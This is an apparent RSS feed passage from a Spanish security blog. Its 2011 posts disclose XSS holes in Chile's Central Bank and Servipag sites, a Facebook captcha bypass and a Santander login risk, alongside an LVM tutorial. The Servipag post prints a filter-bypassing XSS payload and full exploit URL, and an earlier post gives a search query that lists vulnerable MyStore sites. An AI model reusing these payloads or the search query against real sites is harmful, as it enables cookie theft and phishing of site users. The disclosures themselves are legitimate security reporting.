treneshodemexico.com<br />
treneshodetexas.com<br />
trovarti.com<br />
tucalentadordepaso.com.mx<br />
tumejorcompra.net<br />
tumueblebarato.com<br />
tumundodeportivo.com<br />
vinilium.com<br />
winemexsa.com</p></blockquote>
<p>Para buscar la lista completa de los sitios afectados, puedes realizar la siguiente busqueda en Google:</p>
<p><a href="http://www.google.com/search?q=inurl%3Amystore+inurl%3Aerror.php+filetype%3Aphp"><strong>inurl:mystore inurl:error.php filetype:php</strong></a></p>
<p>Tambien <a href="http://secureless.org/search/?keywords=mystore%2Ferror.php&#038;sid=0">se reportaron algunas vía secureless</a>.</p>
<p>La empresa que está detras de este sistema ya ha sido notificada.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/mystore-vulnerable-a-cross-site-scripting-miles-de-sitios-afectados/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Banco Central de Chile vulnerable a XSS</title>
		<link>http://blog.zerial.org/seguridad/banco-central-de-chile-vulnerable-a-xss/</link>
		<comments>http://blog.zerial.org/seguridad/banco-central-de-chile-vulnerable-a-xss/#comments</comments>
		<pubDate>Mon, 17 Oct 2011 14:43:57 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[banco central]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[phishing]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[sqli]]></category>
		<category><![CDATA[vulnerabilidad]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2738</guid>
		<description><![CDATA[El sitio web del Banco Central de Chile es vulnerable a ataques Cross-Site Scripting y, posiblemente, un SQL Injection. Son muchos los sitios de bancos que son vulnerables a este tipo de ataques, pero muy pocos quienes solucionan los errores luego de reportarlos, es por eso que se toma la decisión de hacer un disclosure [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/10/logo_bcch.gif"><img class="aligncenter size-full wp-image-2740" title="logo_bcch" src="http://blog.zerial.org/wp-content/uploads/2011/10/logo_bcch.gif" alt="" width="139" height="139" /></a></p>
<p>El sitio web del Banco Central de Chile es vulnerable a ataques Cross-Site Scripting y, posiblemente, un SQL Injection. Son muchos los sitios de bancos que son vulnerables a este tipo de ataques, pero muy pocos quienes solucionan los errores luego de reportarlos, es por eso que se toma la decisión de hacer un <strong>disclosure</strong> sobre las vulnerabilidades para denunciar este tipo de hechos.</p>
<p>El sitio web del Banco Central pareciera no tener ningun tipo de validación de los parametros de entrada que se pasan mediante formularios o mediante URL, exponiendo a los usuarios  y al servidor a distintos tipos de ataques.<br />
El XSS que encontré, está en el archvo <strong>rim/default.asp</strong> en el subdominio <strong>si2.bcentral.cl</strong>.</p>
<p>Como prueba de concepto, incrustaré un &#8216;iframe&#8217; con el sitio web de Google dentro del sitio del Banco Central</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/10/bcentral_xss1.png"><img class="aligncenter size-full wp-image-2743" title="bcentral_xss1" src="http://blog.zerial.org/wp-content/uploads/2011/10/bcentral_xss1.png" alt="" width="583" height="593" /></a></p>
<p>Perfectamente, el atacante podría incrustar un sitio malicioso con la intención de robar la identidad del banco y aprovecharse de la confianza que el usuario tiene sobre el sitio web, incluso usando el sitio &#8220;<strong>seguro</strong>&#8220;.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/10/bcentral_xss2.png"><img class="aligncenter size-full wp-image-2744" title="bcentral_xss2" src="http://blog.zerial.org/wp-content/uploads/2011/10/bcentral_xss2.png" alt="" width="241" height="27" /></a>Tambien el atacante podria, mediante esta vulnerabilidad, modificar el formulario de inicio de sesión que aparece en la imagen, para robar los datos de los usuarios y enviar la información a terceros.</p>
<p><span id="more-2738"></span></p>
<p>La vulnerabilidad SQL Injection se presentaba en los formularios que estaban en la sección &#8220;Base de datos economicos&#8221;, que al parecer ya ha sido corregido.</p>
<p>Hace 7 días aproximadamente reporté la vulnerabilidad y como es de costumbre no otbuve ninguna respuesta, pero misteriosamente estan trabajando en estos momentos en corregir el sql injection.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/banco-central-de-chile-vulnerable-a-xss/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>El captcha de Facebook es una farsa, no sirve y está de adorno!</title>
		<link>http://blog.zerial.org/interes-general/el-captcha-de-facebook-es-una-farsa-no-sirve-y-esta-de-adorno/</link>
		<comments>http://blog.zerial.org/interes-general/el-captcha-de-facebook-es-una-farsa-no-sirve-y-esta-de-adorno/#comments</comments>
		<pubDate>Tue, 27 Sep 2011 18:31:04 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Privacidad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[captcha]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[fail]]></category>
		<category><![CDATA[privacidad]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[sitios vulnerables]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2710</guid>
		<description><![CDATA[Los captchas (Completely Automated Public Turing test to tell Computers and Humans Apart) son mecanismos de detección de robots o procesos automatizados que se conectan a nuestros sistemas y nos permite diferenciar entre humanos y maquinas. Muchas veces los captchas previenen registros masivos, bots que se dedican a recolectar información o bien intentos de ataques [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/09/facebook_captcha_fail.png"><img class="aligncenter size-full wp-image-2711" title="facebook_captcha_fail" src="http://blog.zerial.org/wp-content/uploads/2011/09/facebook_captcha_fail.png" alt="" width="319" height="247" /></a></p>
<p>Los captchas (<em>Completely Automated Public Turing test to tell Computers and Humans Apart</em>) son mecanismos de detección de robots o procesos automatizados que se conectan a nuestros sistemas y nos permite diferenciar entre humanos y maquinas. Muchas veces los captchas previenen registros masivos, bots que se dedican a recolectar información o bien intentos de ataques (por ejemplo fuerza bruta).</p>
<p>En el caso de <strong>Facebook</strong>, el captcha está de adorno. Manualmente, un usuario puede hacer uso de google para buscar personas y llegar a su página de Facebook, por ejemplo, buscamos a &#8220;Juan Perez&#8221; y llegamos a su perfil <a href="http://www.facebook.com/juan.perez">http://www.facebook.com/juan.perez</a>, Facebook nos mostrará un captcha para poder ver si perfil</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/09/captcha_fb.png"><img class="aligncenter size-full wp-image-2713" title="captcha_fb" src="http://blog.zerial.org/wp-content/uploads/2011/09/captcha_fb.png" alt="" width="410" height="186" /></a></p>
<p>Si ingresamos las palabras que nos aparecen (iedshm, and) podremos ver un poco más sobre el usuario como su foto</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/09/captcha_fb2.png"><img class="aligncenter size-full wp-image-2714" title="captcha_fb2" src="http://blog.zerial.org/wp-content/uploads/2011/09/captcha_fb2.png" alt="" width="471" height="146" /></a></p>
<p>Una persona debería poder ver este tipo de información si ingresa a facebook e ingresa el captcha correspondiente, para evitar que programas automatizados o bots se dediquen a recolectar información de los usuarios, pero la verdad es otra. <strong>El captcha de Facebook está de adorno</strong>.</p>
<p><span id="more-2710"></span></p>
<p>Hagamos el mismo ejercicio, busquemos a una persona en Google e ingresemos a su perfil en Facebook <a href="http://es-la.facebook.com/people/Paula-Rodriguez-Tortosa/1313407077">http://es-la.facebook.com/people/Paula-Rodriguez-Tortosa/1313407077</a> y Facebook nos muestra amablemente un captcha</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/09/captcha_fb3.png"><img class="aligncenter size-full wp-image-2716" title="captcha_fb3" src="http://blog.zerial.org/wp-content/uploads/2011/09/captcha_fb3.png" alt="" width="553" height="190" /></a>¡<strong>Asombroso</strong>! Las eguridad de Facebook ha mejorado, ya que nos pide ingresar caracteres que no son alfa-numericos&#8230;. Ya, pero hablemos en serio.</p>
<p>Intentemos ingresar cualquier palabra a ver que pasa</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/09/captcha_fb4.png"><img class="aligncenter size-full wp-image-2717" title="captcha_fb4" src="http://blog.zerial.org/wp-content/uploads/2011/09/captcha_fb4.png" alt="" width="482" height="174" /></a></p>
<p>Magicamente, sin ningun tipo de seguridad, nos muestra el perfil de la persona</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/09/captcha_fb5.png"><img class="aligncenter size-full wp-image-2718" title="captcha_fb5" src="http://blog.zerial.org/wp-content/uploads/2011/09/captcha_fb5.png" alt="" width="586" height="507" /></a></p>
<p>Ahora ya sabemos que el captcha de Facebook es de juguete y que podemos saltarlo simplemente con un &#8220;enter&#8221;. Solo bastan unos minutos para programar un pequeño script que se dedique a recolectar información de los usuarios.</p>
<p>¿Será otra caracteristica de facebook o será otra violación a la privacidad de sus usuarios? Claramente esto se trata de un bug, ya que de lo contrario no se molestarían en pedir un captcha.</p>
<p>Ironicamente, cuando vemos el link &#8220;¿Que es esto?&#8221; al lado del captcha, Facebook nos muestra la siguiente información:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/09/captcha_fb6.png"><img class="aligncenter size-full wp-image-2721" title="captcha_fb6" src="http://blog.zerial.org/wp-content/uploads/2011/09/captcha_fb6.png" alt="" width="498" height="192" /></a></p>
<p>Otra más de facebook.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/interes-general/el-captcha-de-facebook-es-una-farsa-no-sirve-y-esta-de-adorno/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Seguridad versus Usabilidad: El caso del banco Santander</title>
		<link>http://blog.zerial.org/seguridad/seguridad-versus-usabilidad-el-caso-del-banco-santander/</link>
		<comments>http://blog.zerial.org/seguridad/seguridad-versus-usabilidad-el-caso-del-banco-santander/#comments</comments>
		<pubDate>Tue, 20 Sep 2011 18:04:32 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Privacidad]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[privacidad]]></category>
		<category><![CDATA[santander]]></category>
		<category><![CDATA[usabilidad]]></category>
		<category><![CDATA[vulnerabilidades]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2697</guid>
		<description><![CDATA[Con el fin de mejorar la interacción del usuario con algun sistema, los diseñadores y desarrolladores adoptan distintas técnicas de usabilidad para hacerle el trabajo más fácil al usuario, el problema es cuando se prioriza la usabilidad por sobre la seguridad. Para muchos podría parecer que la gente que desarrolla los sistemas piensan que los [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/09/nino_pc.jpg"><img class="aligncenter size-full wp-image-2698" title="nino_pc" src="http://blog.zerial.org/wp-content/uploads/2011/09/nino_pc.jpg" alt="" width="500" height="375" /></a></p>
<p>Con el fin de mejorar la interacción del usuario con algun sistema, los diseñadores y desarrolladores adoptan distintas técnicas de usabilidad para hacerle el trabajo más fácil al usuario, el problema es cuando se prioriza <strong>la usabilidad por sobre la seguridad</strong>. Para muchos podría parecer que la gente que desarrolla los sistemas piensan que los usuarios son <span style="text-decoration: line-through;">unos tontos</span> unos niños ingenuos, y que por no hacerlos pensar &#8220;donde hacer click&#8221; le dan todo en bandeja pasando por alto las normas de seguridad. Es por esto que escribiré sobre como la usabilidad pasa por encima de la seguridad.</p>
<p>Como ejemplo, tomaré el caso del Banco Santander y analizaré como una función para hacerle el trabajo más fácil al usuario puede atentar contra la seguridad del mismo usuario. Para muchos podría ser algo básico, pero si lo ven como si fueran un usuario &#8220;<em>normal</em>&#8220;, se darán cuenta que realmente es un riesgo y que al usuario le podría pasar perfectamente.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/09/santander_login.png"><img class="aligncenter size-full wp-image-2700" title="santander_login" src="http://blog.zerial.org/wp-content/uploads/2011/09/santander_login.png" alt="" width="196" height="215" /></a>Esta es la pantalla de inicio de sesión que vemos al ingresar a www.santander.cl.</p>
<p><span id="more-2697"></span></p>
<p>Lo normal sería que al ingresar al portal del banco, el usuario hiciera click en el campo &#8220;rut&#8221; para ingresar su número de identificación, luego ingresara el password y finalmente presione enviar. Pero, <strong>¿cual es la mejora de usabilidad que implementó Santander?</strong></p>
<p>Cuando ingresamos al sitio web, el usuario sin situarse sobre el formulario de inicio de sesión, el cursor ya está en el formulario, el usuario lo único que debe hacer es ingresar su rut.</p>
<p>El problema es que esa función donde se situa el cursor sobre el formulario se ejecuta al terminar de cargar el sitio, si el usuario ingresa su número de identidad y luego comienza a escribir el password, cuando el sitio termine de cargar el puntero será cambiado al campo &#8220;rut&#8221;, que no está protegido por &#8220;*&#8221; y queda registrado en el historial, cuando el usuario sin darse cuenta presione &#8220;Iniciar sesión&#8221;, el sistema le enviará un mensaje de que la password o usuario son incorrectos, lo único que hará el usuario es volver a introducir los valores e iniciar sesión sin problemas, sin darse cuenta que su password pudo haber sido almacenada en el historial.</p>
<p>Es un poco rebuscado el problema, pero existe. Me ha pasado que mi internet va lento o que el servidor del banco responde lentísimo, entonces ingreso al portal y hago todo muy rapido, ingreso mi RUT y cuando presiono enviar me doi cuenta que la password la escribí en el campo desprotegido &#8220;rut&#8221;.</p>
<p><strong>¿Qué es mejor, que el usuario tenga que mover un poco el mouse y hacer un par de clicks más, o dejar abierta la remota posibilidad que su password quede almacenada en un historial sin percatarse?</strong></p>
<p>Yo creo que 1 de cada 100 personas podría caer en este error, yo mismo he leído y escuchado a algunas personas quejarse por esto mismo, al menos se que no soy el único que lo piensa <img src='http://blog.zerial.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/seguridad-versus-usabilidad-el-caso-del-banco-santander/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>Manipular volúmenes lógicos (LVM) en discos virtuales</title>
		<link>http://blog.zerial.org/linux/manipular-volumenes-logicos-lvm-en-discos-virtuales/</link>
		<comments>http://blog.zerial.org/linux/manipular-volumenes-logicos-lvm-en-discos-virtuales/#comments</comments>
		<pubDate>Wed, 14 Sep 2011 07:48:50 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Documentacion]]></category>
		<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[gnu]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[kpartx]]></category>
		<category><![CDATA[losetup]]></category>
		<category><![CDATA[lvm]]></category>
		<category><![CDATA[virtual machine]]></category>
		<category><![CDATA[virtualizacion]]></category>
		<category><![CDATA[vm]]></category>
		<category><![CDATA[xen]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2673</guid>
		<description><![CDATA[Me refiero a discos virtuales a los que creamos usando dd. Cuando creamos un disco utilizando por ejemplo dd if=/dev/zero of=imagen.img y lo usamos para crear una máquina virtual, en este caso con Xen, luego le instalamos un sistema operativo que maneje ya sea CentOS, RHEL, Debian o cualquier otro que maneje LVM en la [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/09/quantum-bigfoot.jpg"><img class="alignleft size-full wp-image-2680" style="margin: 4px;" title="quantum-bigfoot" src="http://blog.zerial.org/wp-content/uploads/2011/09/quantum-bigfoot.jpg" alt="" width="181" height="154" /></a>Me refiero a <strong>discos virtuales</strong> a los que creamos usando <strong>dd</strong>. Cuando creamos un disco utilizando por ejemplo <em>dd if=/dev/zero of=imagen.img</em> y lo usamos para crear una máquina virtual, en este caso con Xen, luego le instalamos un sistema operativo que maneje ya sea CentOS, RHEL, Debian o cualquier otro que maneje LVM en la instalación, hay veces que necesitamos manipularlo ya sea para clonarlo, hacerle mantención o simplemente montarlo para ver los archivos. En mi caso, tuve que clonar la máquina virtual en caliente y quedó el FS corrupto, por lo que tuve que corregirlo, tambien sirve para hacer tareas de mantención como aumentar o disminuir el tamaño del disco o volúmenes lógicos.</p>
<p>Tengo mi disco original llamado &#8220;<em>vm1.img</em>&#8221; y la clono simplemente con un <strong>cp</strong> o bien con &#8220;<strong>dd if=vm1.img vm1_clon.img</strong>&#8220;, paso a paso, lo que tenemos que hacer es:</p>
<ol>
<li>Crear un dispositivo &#8220;loop&#8221; en base a nuestro disco virtual</li>
<li>Mapear el dispositivo loop creado</li>
<li>Revisar los dispositivos creados en /dev/mapper/</li>
<li>Activar el volúmen y realizar las tareas necesarias</li>
</ol>
<p>Las herramientas que usé son <a href="http://linux.die.net/man/8/losetup">losetup</a>, <a href="http://linux.die.net/man/8/kpartx">kpartx</a> y <a href="http://linux.die.net/man/8/vgchange">vgchange</a>.</p>
<p><span id="more-2673"></span></p>
<p>Primero, ya tenemos nuestro disco creado, en este caso lo llamaré &#8220;testing&#8221; y tiene un tamaño de 80GB.<br />
<code># fdisk -l testing</p>
<p>Disk testing: 85.9 GB, 85899345920 bytes<br />
255 heads, 63 sectors/track, 10443 cylinders, total 167772160 sectors<br />
Units = sectors of 1 * 512 = 512 bytes<br />
Sector size (logical/physical): 512 bytes / 512 bytes<br />
I/O size (minimum/optimal): 512 bytes / 512 bytes<br />
Disk identifier: 0x0007759f</p>
<p>  Device Boot      Start         End      Blocks   Id  System<br />
testing1   *          63      208844      104391   83  Linux<br />
testing2          208845   167766794    83778975   8e  Linux LVM</code></p>
<p>Para comenzar vamos a usar el comando <strong>losetup</strong> para crear un dispositivo &#8220;loop&#8221; en base a nuestra imagen de disco, para esto ejecutamos:</p>
<p><code># losetup -f testing</code></p>
<p>Y verificamos con el mismo comando losetup que se haya creado</p>
<p><code># losetup -a<br />
/dev/loop0: [fe01]:24577 (/mnt/vardata/testing)</code></p>
<p>Ya tenemos nuestro dispositivo &#8220;loop&#8221; en /dev/loop0 mapeado a la imagen de disco virtual ubicada en /mnt/vardata/testing. </p>
<p>Ahora debemos usar la herramienta <strong>kpartx</strong> para <em>mapear</em> ese dispositivo que hemos mapeado a nuestro disco virtual hacia nuestro administrador de volúmenes lógicos</p>
<p><code># kpartx -a -v /dev/loop0<br />
add map loop0p1 (254:2): 0 208782 linear /dev/loop0 63<br />
add map loop0p2 (254:3): 0 167557950 linear /dev/loop0 208845</code></p>
<p>Ahora tenemos otros dispositivos creados en /dev/mapper, corresponden a &#8220;loop0p1&#8243; y &#8220;loop0p2&#8243; correspondientes a las particiones de nuestro disco virtual. Así debería ser presentarse:</p>
<p><code># ls -lia /dev/mapper/<br />
total 0<br />
   1072 drwxr-xr-x  2 root root     140 sep 13 15:19 .<br />
      3 drwxr-xr-x 15 root root    3260 sep 13 15:19 ..<br />
   1073 crw-------  1 root root 10, 236 ago 11 12:12 control<br />
2672529 lrwxrwxrwx  1 root root       7 sep 13 15:19 loop0p1 -&gt; ../dm-2<br />
2671232 lrwxrwxrwx  1 root root       7 sep 13 15:19 loop0p2 -&gt; ../dm-3<br />
   3655 lrwxrwxrwx  1 root root       7 ago 11 12:12 VolGroup_ID_15211-backup -&gt; ../dm-0<br />
   3672 lrwxrwxrwx  1 root root       7 ago 11 12:12 VolGroup_ID_15211-vardata -&gt; ../dm-1</code></p>
<p>Y el comando <strong>vgdisplay</strong> debería mostrar la información del grupo</p>
<p><code># vgdisplay<br />
  --- Volume group ---<br />
  VG Name               VolGroup00<br />
  System ID<br />
  Format                lvm2<br />
  Metadata Areas        1<br />
  Metadata Sequence No  3<br />
  VG Access             read/write<br />
  VG Status             resizable<br />
  MAX LV                0<br />
  Cur LV                2<br />
  Open LV               0<br />
  Max PV                0<br />
  Cur PV                1<br />
  Act PV                1<br />
  VG Size               79,88 GiB<br />
  PE Size               32,00 MiB<br />
  Total PE              2556<br />
  Alloc PE / Size       2556 / 79,88 GiB<br />
  Free  PE / Size       0 / 0<br />
  VG UUID               yAIBPd-1PD6-IN1U-aoK7-bLSW-rz08-ERktCp</code></p>
<p>Y con <strong>lvdisplay</strong> revisamos la información de los volúmenes dentro del grupo VolGroup00</p>
<p><code># lvdisplay VolGroup00<br />
  --- Logical volume ---<br />
  LV Name                /dev/VolGroup00/LogVol00<br />
  VG Name                VolGroup00<br />
  LV UUID                Du8Hwj-BUff-RhS3-lNTZ-KsxS-jvEp-S71om4<br />
  LV Write Access        read/write<br />
  LV Status              NOT available<br />
  LV Size                77,84 GiB<br />
  Current LE             2491<br />
  Segments               1<br />
  Allocation             inherit<br />
  Read ahead sectors     auto</p>
<p>  --- Logical volume ---<br />
  LV Name                /dev/VolGroup00/LogVol01<br />
  VG Name                VolGroup00<br />
  LV UUID                Sg3KQG-F3Ad-kgIx-yJi0-OSxm-fBUg-bKUR3O<br />
  LV Write Access        read/write<br />
  LV Status              NOT available<br />
  LV Size                2,03 GiB<br />
  Current LE             65<br />
  Segments               1<br />
  Allocation             inherit<br />
  Read ahead sectors     auto</code></p>
<p>Si te fijan en un detalle, en ambos volúmenes, el estado es &#8220;<strong>NOT available</strong>&#8220;, pues debemos activarlo</p>
<p><code># vgchange VolGroup00 -a y<br />
  2 logical volume(s) in volume group "VolGroup00" now active</code></p>
<p>Y volvemos a revisar</p>
<p><code># lvdisplay VolGroup00<br />
  --- Logical volume ---<br />
  LV Name                /dev/VolGroup00/LogVol00<br />
  VG Name                VolGroup00<br />
  LV UUID                Du8Hwj-BUff-RhS3-lNTZ-KsxS-jvEp-S71om4<br />
  LV Write Access        read/write<br />
<strong>  LV Status              available</strong><br />
  # open                 0<br />
  LV Size                77,84 GiB<br />
  Current LE             2491<br />
  Segments               1<br />
  Allocation             inherit<br />
  Read ahead sectors     auto<br />
  - currently set to     256<br />
  Block device           254:4</p>
<p>  --- Logical volume ---<br />
  LV Name                /dev/VolGroup00/LogVol01<br />
  VG Name                VolGroup00<br />
  LV UUID                Sg3KQG-F3Ad-kgIx-yJi0-OSxm-fBUg-bKUR3O<br />
  LV Write Access        read/write<br />
<strong>  LV Status              available</strong><br />
  # open                 0<br />
  LV Size                2,03 GiB<br />
  Current LE             65<br />
  Segments               1<br />
  Allocation             inherit<br />
  Read ahead sectors     auto<br />
  - currently set to     256<br />
  Block device           254:5</code></p>
<p>Ya los tenemos disponibles y ahora podemos trabajar con ese volúmen como si fuese un &#8220;lvm&#8221; normal, realizar tareas de mantención, montar el volumen, disminuir o aumentar su tamaño, etc.</p>
<p>Cuando ya terminemos de hacer todo lo que queramos con el disco virtual, hay que volver todo a la normalidad, haciendo los pasos inversos:</p>
<p><strong>Desactivar el volumen</strong><br />
<code># vgchange VolGroup00 -a n<br />
  0 logical volume(s) in volume group "VolGroup00" now active</code></p>
<p><strong>Remover el mapeo de los dispositivos loop0p1 y loop0p2</strong> creados desde loop0<br />
<code># kpartx -d /dev/loop0</code></p>
<p><strong>Remover el mapeo de /dev/loop0</strong> creado desde nuestro disco virtual &#8220;testing&#8221;<br />
<code># losetup -v -d /dev/loop0</code></p>
<p>Ya dejamos todo como estaba y podemos volver a utilizar nuestro disco virtual.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/linux/manipular-volumenes-logicos-lvm-en-discos-virtuales/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Servipag: Nuevamente vulnerable a Cross-Site Scripting</title>
		<link>http://blog.zerial.org/seguridad/servipag-nuevamente-vulnerable-a-cross-site-scripting/</link>
		<comments>http://blog.zerial.org/seguridad/servipag-nuevamente-vulnerable-a-cross-site-scripting/#comments</comments>
		<pubDate>Mon, 12 Sep 2011 13:01:32 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[inseguridad]]></category>
		<category><![CDATA[servipag]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2653</guid>
		<description><![CDATA[Así es, el portal chileno de pagos en línea más seguro nuevamente es vulnerable a XSS. Esta vez se trata de la página de registro de usuarios, modificando el valor de la variable &#8220;Rut&#8221; es posible inyectar código javascript y poner en riesgo al usuario. El sitio web de Servipag se ha caracterizado ultimamente por [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/09/servipag_xsssept.png"><img class="aligncenter size-full wp-image-2657" title="servipag_xsssept" src="http://blog.zerial.org/wp-content/uploads/2011/09/servipag_xsssept.png" alt="" width="482" height="393" /></a></p>
<p>Así es, el <strong>portal chileno de pagos en línea más seguro</strong> nuevamente es vulnerable a XSS. Esta vez se trata de la página de registro de usuarios, modificando el valor de la variable &#8220;Rut&#8221; es posible inyectar código javascript y poner en riesgo al usuario.</p>
<p>El sitio web de Servipag se ha caracterizado ultimamente por tener una serie de vulnerabilidades criticas que afectan al servidor donde se encuentra el sitio web y tambien a los usuarios, poniendo en riesgo información sensible sobre sus clientes. Según una declaración de Servipag mediante su twitter, los &#8220;XSS visual&#8221; no afectan al usuario:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/09/xss_visual.png"><img class="aligncenter size-full wp-image-2654" title="xss_visual" src="http://blog.zerial.org/wp-content/uploads/2011/09/xss_visual.png" alt="" width="515" height="339" /></a></p>
<p>Como a ellos no les preocupan los XSS, publicaré con detalles la vulnerabilidad.</p>
<p><span id="more-2653"></span></p>
<p>La vulnerabilidad se encuentra especificamente en la URL <strong>http://www.servipag.com/browse.asp?pagina=web/registro1.htm</strong>. El sitio autocompleta el campo &#8220;rut&#8221; según el valor pasado por GET mediante la variable &#8220;Rut&#8221;, por ejemplo, si ingresamos a <strong>http://www.servipag.com/browse.asp?pagina=web/registro1.htm&amp;Rut=1313&amp;BuscaDatos=2</strong> veremos que nos completa el rut de la siguiente forma</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/09/servipag_1313.png"><img class="aligncenter size-full wp-image-2656" title="servipag_1313" src="http://blog.zerial.org/wp-content/uploads/2011/09/servipag_1313.png" alt="" width="254" height="83" /></a></p>
<p>Y si vemos el código fuente, nos muestra:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/09/servipag_xsssrc.png"><img class="aligncenter size-full wp-image-2659" title="servipag_xsssrc" src="http://blog.zerial.org/wp-content/uploads/2011/09/servipag_xsssrc.png" alt="" width="260" height="99" /></a>Por lo tanto, si en lugar de &#8220;Rut=1313&#8243; pusieramos una rutina javascript, debería ejecutarse al momento de llamar a la función &#8220;Reset()&#8221;, sin embargo, el desarrollador de servipag puso un <span style="text-decoration: line-through;">estúpido</span> inutil filtro que es <strong>demasiado</strong> fácil saltarse. Lo que haremos es terminar la función y hacer que se ejecute el código que nosotros queramos al momento de cargar la página, para esto añadimos &#8216;; al principio del valor que le daremos a Rut y comentaremos todo lo que venga despues de nuestra inyección, para lograr que se ejecute sin errores el javascript.</p>
<p>La sintáxis que usaremos para explotar la vulnerabilidad será <strong>1212&#8242;;}/**/window.stop();confirm(/Servipag_XSS_10_de_Septiembre_19:24?/);/*</strong> la cual nos generará un código fuente similar a:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/09/servipag_xsssrc2.png"><img class="aligncenter size-full wp-image-2660" title="servipag_xsssrc2" src="http://blog.zerial.org/wp-content/uploads/2011/09/servipag_xsssrc2.png" alt="" width="654" height="89" /></a></p>
<p>Provocando el XSS que estabamos buscando. De esta forma es posible burlar los filtros puestos por los desarrolladores del portal de pagos más seguro (ironía), pudiendo redireccionar al usuario a un sitio malicioso, robar las cookies, etc.</p>
<p>Finalmente, la URL vulnerable es <a href="http://www.servipag.com/browse.asp?pagina=web/registro1.htm&amp;Rut=1212';}/**/window.stop();confirm(/Servipag_XSS?/);/*='&amp;BuscaDatos=2" target="_blank"><strong>http://www.servipag.com/browse.asp?pagina=web/registro1.htm&amp;Rut=1212&#8242;;}/**/window.stop();confirm(/Servipag_XSS?/);/*=&#8217;&amp;BuscaDatos=2</strong></a>.</p>
<p><strong>ACTUALIZADO (12 DE SEPT 14:08hrs)</strong></p>
<p>Como es de costumbre con esta gente de Servipag, el problema ha sido solucionado minutos luego de haberlo publicado, sin embargo, no son capaces de responder los correos donde se envian reportes de estas vulnerabilidades.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/servipag-nuevamente-vulnerable-a-cross-site-scripting/feed/</wfw:commentRss>
		<slash:comments>20</slash:comments>
		</item>
		<item>
		<title>Mini-Post: Acceso directo a archivos de descarga</title>
		<link>http://blog.zerial.org/seguridad/mini-post-acceso-directo-a-archivos-de-descarga/</link>
		<comments>http://blog.zerial.org/seguridad/mini-post-acceso-directo-a-archivos-de-descarga/#comments</comments>
		<pubDate>Sun, 11 Sep 2011 01:36:22 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[desarrollo seguro]]></category>
		<category><![CDATA[Documentacion]]></category>
		<category><![CDATA[programacion segura]]></category>
		<category><![CDATA[Tips]]></category>

